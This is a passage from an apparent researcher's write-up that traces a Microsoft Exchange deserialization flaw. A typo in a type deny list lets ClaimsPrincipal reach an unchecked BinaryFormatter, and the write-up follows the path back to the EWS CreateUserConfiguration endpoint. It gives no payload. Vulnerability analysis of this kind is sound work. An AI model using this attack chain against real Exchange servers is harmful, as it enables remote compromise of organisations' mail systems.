\t\t\t\"System.Xml.XmlDataDocument\",\n \t\t\t\"System.Xml.XmlDocument\"\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}; \n \u00a0\u00a0\u00a0\u00a0}\n \n\nThis is a bit hard to read, so lets take a look at the patch diff from [[Meld]]:\n\n![[Pasted image 20220205130924.png]]\n\nHuh looks like there was a typo in the `Security.System.Claims.ClaimsPrincipal` blacklist entry where it was typed as `Security.System.ClaimsPrincipal` aka we missed an extra `.Claims` in the name.\n\n## Why Security.System.Claims.ClaimsPrincipal Was Blocked \u2013 A Deeper Dive into The Root Issue\n\nLets look at the call chain here. If we decompile the code for `System.Security.Claims.ClaimsPrincipal` we can see mentions of `OnDeserialized` which has a more full explanation at <https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.ondeserializedattribute?view=net-6.0>. Note that it states `When OnDeserializedAttribute class is applied to a method, specifies that the method is called immediately after deserialization of an object in an object graph. The order of deserialization relative to other objects in the graph is non-deterministic.`\n\nOf particular interest is the `OnDeserializedMethod()` method which is called after deserialization takes place. Note that if there was a `OnDeserializingMethod` that would be called _during_ deserialization which would also work.\n\nLooking into the class more we notice the following functions:\n\nInitializer. Note that this is labeled as `[NonSerialized]` so despite it calling the `Deserialize()` method it will not be called upon deserialization as it as explicitly declared itself as something that can\u2019t be deserialized. Thus we can\u2019t use this function to trigger the desired `Deserialize()` method call. Lets keep looking.\n \n \n // System.Security.Claims.ClaimsPrincipal \n using System.Collections.Generic; \n using System.IO; \n using System.Runtime.Serialization; \n using System.Security.Principal; \n \n [OptionalField(VersionAdded = 2)] \n private string m_version = \"1.0\"; \n [NonSerialized] \n private List<ClaimsIdentity> m_identities = new List<ClaimsIdentity>(); \n [SecurityCritical] \n protected ClaimsPrincipal(SerializationInfo info, StreamingContext context) \n { \n \u00a0\u00a0\u00a0\u00a0if (info == null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new ArgumentNullException(\"info\"); \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0Deserialize(info, context); \n }\n \n\nThe next place to look is that weird `OnDeserialized()` method. Lets take a look at its code. We can see that the `[OnDeserialized]` class is applied to this method meaning that `method is called immediately after deserialization of an object in an object graph`. We can also see that it takes in a `StreamingContext` parameter and then proceeds to call `DeserializeIdentities()` with a variable known as `m_serializedClaimIdentities`:\n \n \n // System.Security.Claims.ClaimsPrincipal \n using System.Runtime.Serialization; \n \n [OnDeserialized] \n [SecurityCritical] \n private void OnDeserializedMethod(StreamingContext context) \n { \n \u00a0\u00a0\u00a0\u00a0if (!(this is ISerializable)) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0DeserializeIdentities(m_serializedClaimsIdentities); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0m_serializedClaimsIdentities = null; \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nBut where is `m_serializedClaimsIdentities` set? Well looking at the `OnSerializedMethod()` function we can see this is set when serializing the object, as explained at <https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.ondeserializingattribute?view=net-6.0> in the code examples and as shown below:\n \n \n // System.Security.Claims.ClaimsPrincipal \n using System.Runtime.Serialization; \n \n [OnSerializing] \n [SecurityCritical] \n private void OnSerializingMethod(StreamingContext context) \n { \n \u00a0\u00a0\u00a0\u00a0if (!(this is ISerializable)) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0m_serializedClaimsIdentities = SerializeIdentities(); \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nAlright so now we know how that is set, lets go back to the deserialization shall we? The code for `DeserializeIdentities()` can be seen below. Note that there is a call to `binaryFormatter.Deserialize(serializationStream2, null, fCheck: false);` in this code. `binaryFormatter.Deserialize()` is equivalent to `BinaryFormatter.Deserialize()`, which doesn\u2019t bind a checker to check what types are being deserialized, so this method is easily exploitable if no checks or incorrect checks are being done on the types being deserialized. This is the case here due to the incorrect implementation of the type blacklist.\n \n \n // System.Security.Claims.ClaimsPrincipal \n using System.Collections.Generic; \n using System.Globalization; \n using System.IO; \n using System.Runtime.Serialization; \n using System.Runtime.Serialization.Formatters.Binary; \n using System.Security.Principal; \n \n [SecurityCritical] \n private void DeserializeIdentities(string identities) \n { \n \u00a0\u00a0\u00a0\u00a0m_identities = new List<ClaimsIdentity>(); \n \u00a0\u00a0\u00a0\u00a0if (string.IsNullOrEmpty(identities)) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return; \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0List<string> list = null; \n \u00a0\u00a0\u00a0\u00a0BinaryFormatter binaryFormatter = new BinaryFormatter(); \n \u00a0\u00a0\u00a0\u00a0using MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(identities)); \n \u00a0\u00a0\u00a0\u00a0list = (List<string>)binaryFormatter.Deserialize(serializationStream, null, fCheck: false); \n \u00a0\u00a0\u00a0\u00a0for (int i = 0; i < list.Count; i += 2) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ClaimsIdentity claimsIdentity = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0using (MemoryStream serializationStream2 = new MemoryStream(Convert.FromBase64String(list[i + 1]))) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0claimsIdentity = (ClaimsIdentity)binaryFormatter.Deserialize(serializationStream2, null, fCheck: false); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!string.IsNullOrEmpty(list[i])) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!long.TryParse(list[i], NumberStyles.Integer, NumberFormatInfo.InvariantInfo, out var result)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new SerializationException(Environment.GetResourceString(\"Serialization_CorruptedStream\")); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0claimsIdentity = new WindowsIdentity(claimsIdentity, new IntPtr(result)); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0m_identities.Add(claimsIdentity); \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nSo from this we can confirm that the chain for deserialization looks like this:\n \n \n System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() \n System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() \n BinaryFormatter.Deserialize()\n \n\n# Quick review\n\n## TLDR\n\nWe now have a type, `TypedBinaryFormatter` that has a binder who incorrectly validates the types that `TypedBinaryFormatter` deserializes and which allows the `Security.Systems.Claims.ClaimsPrincipal` to go through which allows for arbitrary type deserialization.\n\n## Longer explanation\n\nAlright so lets quickly review what we know. We know we need to deserialize a `TypedBinaryFormatter` object whose `Deserialize()` method will result in a `ExchangeBinaryFormatterFactory.CreateBinaryFormatter()` call. This results in a new `ChainedSerializationBinder` class object being created whose `BindToType()` method that is used to validate the data that `TypedBinaryFormatter` will deserialize. `BindToType()` will call `ValidateTypeToDeserialize()` within the same class. This uses a blacklist in the variable `GlobalDisallowedTypesForDeserialization` which is set to the result of calling `ChainedSerializationBinder`\u2019s `BuildDisallowedTypesForDeserialization()` method. Unfortunately this method had a typo so the `Security.System.Claims.ClaimsPrincipal` type was allowed though.\n\nIf we then deserialize an object of type `Security.System.Claims.ClaimsPrincipal` we can get it to hit a vulnerable `BinaryFormatter.Deserialize()` call via the call chain, which can deserialize arbitrary classes as this type of formatter doesn\u2019t use a binder to check what types it deserializes.\n \n \n TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)\n \tTypedBinaryFormatter.Desearialize(Stream)\n \t\tSystem.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() \n \t\t System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() \n \t\t BinaryFormatter.Deserialize()\n \n\n# The Source\n\n## Initial Inspection\n\nLets start at `Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.Deserialize(Stream, SerializationBinder)` and work back. We start with this one as its the most common use case. If we look at the other remaining 3 function definition variations for the `Deserialize()` method, we will see that two of them have no callers, and the remaining one is a little more complex (I imagine its still viable but no need to complicate the beast when there are simpler ways!)\n\n![[Pasted image 20220205174401.png]]\n\nAs is shown above we can see that `Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.Deserialize(Stream, SerializationBinder)` is called by `Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)`, which is turn called by `Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)`.\n\nSo deserialization chain is now:\n \n \n Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)\n \tTypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)\n \t\tTypedBinaryFormatter.Desearialize(Stream)\n \t\t\tSystem.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() \n \t\t\t System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() \n \t\t\t BinaryFormatter.Deserialize()\n \n\n## ILSpy And Interfaces \u2013 Finding Where Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream) is Used\n\nAt this point we hit a snag, as it seems like this isn\u2019t called anywhere. However in [[ILSpy]] and we see we can see an `Implements` field that does not appear in [[dnSpy]] and if we expand this we can see that it has a `Implemented By` and `Used By` field.\n\nWe can see that `Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)` implements `Microsoft.Exchange.Data.ApplicationLogic.Extension.IClientExtensionCollectionFormatter.Deserialize` (note the `IClient` not `Client` part here indicating that this is an interface, not a normal class), and that this interface is used by `Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception)`, which will use this interface to call the `Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)` function.\n\n![[Pasted image 20220207195041.png]]\n\nWe can also verify that `Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer` is essentially just an interface wrapper around the `ClientExtensionCollectionFormatter` interface:\n \n \n // Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer \n private IClientExtensionCollectionFormatter formatter;\n \n\nSo deserialization chain is now:\n \n \n Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)\n \t\tTypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)\n \t\t\tTypedBinaryFormatter.Desearialize(Stream)\n \t\t\t\tSystem.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() \n \t\t\t\t System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() \n \t\t\t\t BinaryFormatter.Deserialize()\n \n\n## Finding the Expected Data Types for Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize\n\nThe code for `Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception)` can be seen below:\n \n \n // Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer \n using System; \n using System.Collections; \n using System.IO; \n using System.Runtime.Serialization; \n using Microsoft.Exchange.Data.Storage; \n \n public bool TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception) \n { \n \u00a0\u00a0\u00a0\u00a0result = new OrgExtensionRetrievalResult(); \n \u00a0\u00a0\u00a0\u00a0exception = null; \n \u00a0\u00a0\u00a0\u00a0IDictionary dictionary = userConfiguration.GetDictionary(); \n \u00a0\u00a0\u00a0\u00a0if (dictionary.Contains(\"OrgDO\")) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0result.HasDefaultExtensionsWithDefaultStatesOnly = (bool)dictionary[\"OrgDO\"]; \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0bool flag = false; \n \u00a0\u00a0\u00a0\u00a0if (!result.HasDefaultExtensionsWithDefaultStatesOnly) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0using (Stream stream = userConfiguration.GetStream()) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0stream.Position = 0L; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0result.Extensions = formatter.Deserialize(stream); <- DESERIALIZATION HERE\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return true; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (SerializationException ex) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Tracer.TraceError(GetHashCode(), \"deserialization failed with {0}\", ex); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0flag = false; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0exception = ex; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return flag; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0return true; \n }\n \n\nLooking at the code here we can see that we appear to be deserializing a `stream` variable of type `Stream`, which is set to the result of calling `userConfiguration.GetStream()`. Further up in the code we can see `userConfiguration` is defined as an interface to the `UserConfiguration` class via the line `IUserConfiguration userConfiguration` in the parameter list. We can find more details on this class at <https://docs.microsoft.com/en-us/dotnet/api/microsoft.exchange.webservices.data.userconfiguration?view=exchange-ews-api> which mentions this is part of the Exchange EWS API.\n\nFurther Googling for `UserConfiguration` turns up <https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/userconfiguration> which references it as a EWS XML element that defines a single user configuration object with the following format:\n \n \n <UserConfiguration> \n \t<UserConfigurationName/> \n \t<ItemId/> \n \t<Dictionary/> \n \t<XmlData/> \n \t<BinaryData/> \n </UserConfiguration>\n \n\nWe also see there is a parent object called `CreateUserConfiguration`. Documentation for this object can be found at <https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/createuserconfiguration> where it is defined as follows:\n \n \n <CreateUserConfiguration>\n <UserConfiguration/>\n </CreateUserConfiguration>\n \n\nOkay so this is great and all, but this leaves two questions. The first question is \u201cHow do we actually use this data in a web request?\u201d and the second question is \u201cWhat is this data used for normally?\u201d. Further Googling of `CreateUserConfiguration` answers the second question when we find <https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/createuserconfiguration-operation> which mentions that `The CreateUserConfiguration operation creates a user configuration object on a folder.` This also provides some data examples on how this might be used as a SOAP request. However it doesn\u2019t specify what endpoint we would have to send this to, leading to another open question. A second open question then becomes \u201cOkay I suppose I might want to debug this later on in the code when developing the exploit, but where is it implemented?\u201d. Lets answer that second question now.\n\n## Identifying CreateUserConfiguration Code\n\nAs it turns out, finding the code that handles `CreateUserConfiguration` takes us down a bit of a winding path. We start with `Microsoft.Exchange.Data.Storage.IUserConfiguration` as the definition of the interface we saw earlier in the `Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception)` function definition.\n\nHowever once again we quickly realize that `IUserConfiguration` is just an interface class. Searching for `UserConfiguration` with the `Type` filter on eventually leads us to find the `Microsoft.Exchange.Data.Storage.UserConfiguration` type:\n\n![[Pasted image 20220207203836.png]]\n\nLooking inside this leads us to find `Microsoft.Exchange.Data.Storage.UserConfiguration.GetConfiguration`.\n \n \n // Microsoft.Exchange.Data.Storage.UserConfiguration \n using Microsoft.Exchange.Diagnostics; \n using Microsoft.Exchange.Diagnostics.Components.Data.Storage; \n using Microsoft.Exchange.ExchangeSystem; \n \n public static UserConfiguration GetConfiguration(Folder folder, UserConfigurationName configurationName, UserConfigurationTypes type, bool autoCreate) \n { \n \u00a0\u00a0\u00a0\u00a0EnumValidator.ThrowIfInvalid(type, \"type\"); \n \u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return GetIgnoringCache(null, folder, configurationName, type); \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0catch (ObjectNotFoundException arg) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (ExTraceGlobals.StorageTracer.IsTraceEnabled(TraceType.ErrorTrace)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ExTraceGlobals.StorageTracer.TraceError(0L, \"UserConfiguration::GetConfiguration. User Configuration object not found. Exception = {0}.\", arg); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0if (autoCreate) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return Create(folder, configurationName, type); \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0return null; \n }\n \n\nAt this point, I knew that there has to be some way to create the user configuration object given the error message and wondered if there was a similarly named `CreateUserConfiguration` function, going off of the naming convention that seemed to be used for these functions. I searched for this and it turns out there was a function under `Microsoft.Exchange.Services.Core.CreateUserConfiguration` named `CreateUserConfiguration()`.\n\n![[Pasted image 20220207204246.png]]\n\nLets look at its code:\n \n \n // Microsoft.Exchange.Services.Core.CreateUserConfiguration \n using Microsoft.Exchange.Services.Core.Types; \n \n public CreateUserConfiguration(ICallContext callContext, CreateUserConfigurationRequest request) : base(callContext, request) \n { \n \u00a0\u00a0\u00a0\u00a0serviceUserConfiguration = request.UserConfiguration; \n \u00a0\u00a0\u00a0\u00a0ServiceCommandBase<ICallContext>.ThrowIfNull(serviceUserConfiguration, \"serviceUserConfiguration\", \"CreateUserConfiguration::ctor\"); \n }\n \n\nAlright so this seems to take in some request object from a HTTP request or similar, and then set the `serviceUserConfiguration` variable to the section in the request named `UserConfiguration` with `request.UserConfiguration`. We seem to be on the right track, so lets look at the `Microsoft.Exchange.Services.Core.Types.CreateUserConfigurationRequest` type of the `request` variable:\n \n \n // Microsoft.Exchange.Services.Core.Types.CreateUserConfigurationRequest \n using System.Runtime.Serialization; \n using System.Xml.Serialization; \n using Microsoft.Exchange.Services; \n using Microsoft.Exchange.Services.Core; \n using Microsoft.Exchange.Services.Core.Types; \n \n [XmlType(\"CreateUserConfigurationRequestType\", Namespace = \"http://schemas.microsoft.com/exchange/services/2006/messages\")] \n [DataContract(Namespace = \"http://schemas.datacontract.org/2004/07/Exchange\")] \n public class CreateUserConfigurationRequest : BaseRequest \n { \n \u00a0\u00a0\u00a0\u00a0[XmlElement] \n \u00a0\u00a0\u00a0\u00a0[DataMember(IsRequired = true)] \n \u00a0\u00a0\u00a0\u00a0public ServiceUserConfiguration UserConfiguration { get; set; } \n \n \u00a0\u00a0\u00a0\u00a0internal override IServiceCommand GetServiceCommand(ICallContext callContext) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new CreateUserConfiguration(callContext, this); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override BaseServerIdInfo GetProxyInfo(IMinimalCallContext callContext) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (UserConfiguration == null || UserConfiguration.UserConfigurationName == null || UserConfiguration.UserConfigurationName.BaseFolderId == null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return BaseServerIdInfoFactory.GetServerInfoForFolderId(callContext, UserConfiguration.UserConfigurationName.BaseFolderId); \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nHere we can see that `UserConfiguration` is of type `Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration` so lets check out that definition:\n \n \n // Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration \n using System; \n using System.Runtime.Serialization; \n using System.Xml.Serialization; \n using Microsoft.Exchange.Services.Core.Types; \n \n [Serializable] \n [XmlType(TypeName = \"UserConfigurationType\", Namespace = \"http://schemas.microsoft.com/exchange/services/2006/types\")] \n [DataContract(Namespace = \"http://schemas.datacontract.org/2004/07/Exchange\")] \n public class ServiceUserConfiguration \n { \n \u00a0\u00a0\u00a0\u00a0[XmlElement(\"UserConfigurationName\")] \n \u00a0\u00a0\u00a0\u00a0[DataMember(IsRequired = true, Order = 1)] \n \u00a0\u00a0\u00a0\u00a0public UserConfigurationNameType UserConfigurationName { get; set; } \n \n \u00a0\u00a0\u00a0\u00a0[XmlElement(\"ItemId\")] \n \u00a0\u00a0\u00a0\u00a0[DataMember(Name = \"ItemId\", IsRequired = false, EmitDefaultValue = false, Order = 2)] \n \u00a0\u00a0\u00a0\u00a0public ItemId ItemId { get; set; } \n \n \u00a0\u00a0\u00a0\u00a0[XmlArrayItem(\"DictionaryEntry\", IsNullable = false)] \n \u00a0\u00a0\u00a0\u00a0[DataMember(Name = \"Dictionary\", IsRequired = false, EmitDefaultValue = false, Order = 3)] \n \u00a0\u00a0\u00a0\u00a0public UserConfigurationDictionaryEntry[] Dictionary { get; set; } \n \n \u00a0\u00a0\u00a0\u00a0[XmlElement] \n \u00a0\u00a0\u00a0\u00a0[DataMember(Name = \"XmlData\", IsRequired = false, EmitDefaultValue = false, Order = 4)] \n \u00a0\u00a0\u00a0\u00a0public string XmlData { get; set; } \n \n \u00a0\u00a0\u00a0\u00a0[DataMember(Name = \"BinaryData\", IsRequired = false, EmitDefaultValue = false, Order = 5)] \n \u00a0\u00a0\u00a0\u00a0public string BinaryData { get; set; } \n }\n \n\nAnd this matches what we saw earlier! Perfect! But one last thing. We saw the example on the web used SOAP, so lets see if we can find a function related to SOAP that handles this function. Expanding this search to `Types and Methods` and searching for `CreateUserConfigurationSoap`, we see that `CreateUserConfigurationSoapRequest` exists as a type, as well as `CreateUserConfigurationSoapResponse`.\n\n![[Pasted image 20220207211116.png]]\n\nLets look at the request definition:\n \n \n // Microsoft.Exchange.Services.Wcf.CreateUserConfigurationSoapRequest \n using System.ServiceModel; \n using Microsoft.Exchange.Services.Core.Types; \n using Microsoft.Exchange.Services.Wcf; \n \n [MessageContract(IsWrapped = false)] \n public class CreateUserConfigurationSoapRequest : BaseSoapRequest \n { \n \u00a0\u00a0\u00a0\u00a0[MessageBodyMember(Name = \"CreateUserConfiguration\", Namespace = \"http://schemas.microsoft.com/exchange/services/2006/messages\", Order = 0)] \n \u00a0\u00a0\u00a0\u00a0public CreateUserConfigurationRequest Body; \n }\n \n\nAlright lets see where that is used.\n\n![[Pasted image 20220207211256.png]]\n\nLooks like `BeginCreateUserConfiguration(CreateUserConfigurationSoapRequest soapRequest, AsyncCallback asyncCallback, object asyncState)` uses this.\n \n \n // Microsoft.Exchange.Services.Wcf.EWSService \n using System; \n using Microsoft.Exchange.Services.Core.Types; \n \n [PublicEWSVersion] \n public IAsyncResult BeginCreateUserConfiguration(CreateUserConfigurationSoapRequest soapRequest, AsyncCallback asyncCallback, object asyncState) \n { \n \u00a0\u00a0\u00a0\u00a0return soapRequest.Body.ValidateAndSubmit<CreateUserConfigurationResponse>(CallContext.Current, asyncCallback, asyncState); \n }\n \n\nAlright so now we know where to debug but what is the URL we need? Well we can see this is within the `EWSService` class, so lets see if we can\u2019t find a bit of documentation about EWS to help guide us.\n\nA bit of digging turns up <https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/get-started-with-ews-client-applications> which mentions that the normal URL is at `/EWS/Exchange.asmx`. However the page also notes that using the AutoDiscover service which is at `https://<domain>/autodiscover/autodiscover.svc`, `https://<domain>/autodiscover/autodiscover.xml`, `https://autodiscover.<domain>/autodiscover/autodiscover.xml`, or `https://autodiscover.<domain>/autodiscover/autodiscover.svc` is meant to be the more appropriate way to do things, however in my experience I haven\u2019t found these to contain any info r.e the proper URL to use. Maybe I\u2019ll be corrected but for now we\u2019ll go off the assumption that `/EWS/Exchange.asmx` is the proper URL.\n\n## Entry Point Review\n\nWanted to hit `Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.Deserialize(Stream, SerializationBinder)` and after tracing this back we found that ultimately this is called via `Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception)` which will use the `Deserialize` method of `Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)` to do the actual deserialization on the `userConfiguration.GetStream()` parameter passed in.\n\nWe then found that the expected format of the `UserConfiguration` class that `userConfiguration` is an instance of looks like the following snippet:\n \n \n <CreateUserConfiguration>\n <UserConfiguration/>\n </CreateUserConfiguration>\n \n\nWhere `UserConfiguration` looks like\n \n \n <UserConfiguration> \n \t<UserConfigurationName/> \n \t<ItemId/> \n \t<Dictionary/> \n \t<XmlData/> \n \t<BinaryData/> \n </UserConfiguration>\n \n\nThis lead us to `Microsoft.Exchange.Services.Core.Types.CreateUserConfigurationRequest` and later to `Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration` which confirmed we were processing the right data.\n\nWe then confirmed that `Microsoft.Exchange.Services.Wcf.CreateUserConfigurationSoapRequest` is where SOAP requests to create the user configuration are handled and that `Microsoft.Exchange.Services.Wcf.EWSService.BeginCreateUserConfiguration(CreateUserConfigurationSoapRequest soapRequest, AsyncCallback asyncCallback, object asyncState)` uses this to call `soapRequest.Body.ValidateAndSubmit<CreateUserConfigurationResponse>(CallContext.Current, asyncCallback, asyncState);` which will asynchronously create the user configuration and then return a `CreateUserConfigurationResponse` instance containing the response to send back.\n\nFinally we determined `https://<domain>/EWS/Exchange.asmx` is where we need to send our POST request to hopefully create the `UserConfiguration` object.\n\nAll of this results in the following chain for the deserialization attack at the moment.\n \n \n Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception)\n 